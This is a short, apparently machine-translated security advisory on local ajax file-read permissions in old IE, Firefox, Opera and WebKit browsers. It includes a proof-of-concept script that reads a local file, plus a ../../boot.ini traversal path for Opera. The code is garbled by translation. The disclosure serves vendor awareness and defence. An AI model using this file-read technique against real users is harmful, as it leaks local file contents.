Local ajax execution permission problems

Xeye Team

Recently, our team is conducting security tests on local Ajax submission permissions for several kernel browsers, including mainstream trident, gecko, and webkit.

The test data is a lot messy, and the specific technical details are not disclosed for the moment. However, the test results and some problems are briefly described as follows:

1. ie7, 8, and the corresponding version of the trident kernel browser control the permissions for local ajax execution. It seems that MS attaches great importance to security risks such as IE.

2. ff 3.0.8 and earlier versions allow locally executed ajax to access the file content in the current directory. Other directories cannot be accessed.

3. opera9.64 and earlier versions allow access by specifying the file url as the file: // protocol. If the file is in the current directory, you do not need to specify the file: // protocol; if the file is on the same drive letter, it can be accessed in a way that exceeds the Directory :.. /.. /boot. ini.

4. Based on the webkit kernel: google chrome, travel 3.0, safari, and other browsers do not have any access restrictions on local ajax permissions.

This deserves the attention of browser vendors. The Sandbox Model of flash local files is a good reference.

Test the ajax.htm file stored locally. Modify the path and file name of the file to be read:

<Script>
Function $ (x) {return document. getElementById (x )}

Function ajax_obj (){
Var request = false;
If (window. XMLHttpRequest ){
Request = new XMLHttpRequest ();
} Else if (window. ActiveXObject ){
Var versions = [Microsoft. XMLHTTP, MSXML. XMLHTTP, Microsoft. XMLHTTP, Msxml2.XMLHTTP. 7.0, Msxml2.XMLHTTP. 6.0, Msxml2.XMLHTTP. 5.0,

Msxml2.XMLHTTP. 4.0, MSXML2.XMLHTTP. 3.0, MSXML2.XMLHTTP];
For (var I = 0; I <versions. length; I ++ ){
Try {
Request = new ActiveXObject (versions [I]);
} Catch (e ){}
}
}
Return request;
}
Var _ x = ajax_obj ();
Function _ 7or3 (_ m, action, argv ){
_ X. open (_ m, action, false );
If (_ m = "POST") _ x. setRequestHeader ("Content-Type", "application/x-www-form-urlencoded ");
_ X. send (argv );
Return _ x. responseText;
}

Var txt = _ 7or3 ("GET", "xeye.exe", null );
Alert (txt );

</Script>

Other security personnel in China have also studied this issue. For more information, seeOpera 9.52 Using ajax to read local filesAndGoogle Chrome's access to local files using ajax Vulnerability. In principle, ajax can read local files, causing file content leakage.

In addition, due to the addition of chrome and maxthon3.0, we are particularly concerned about the security of webkit browsers. So far, we have found some serious problems,This includes webkit defects in html dom operations, causing the related calls to be attacked by xss.. In addition, we have found such security risks on the websites called. Such attacks are not found in browsers such as IE and FF that are not webkit kernels.

We are currently evaluating the risk levels of related vulnerabilities and trying to contact relevant vendors to solve the problems. Later, we will announce the vulnerability details and related exploitation descriptions.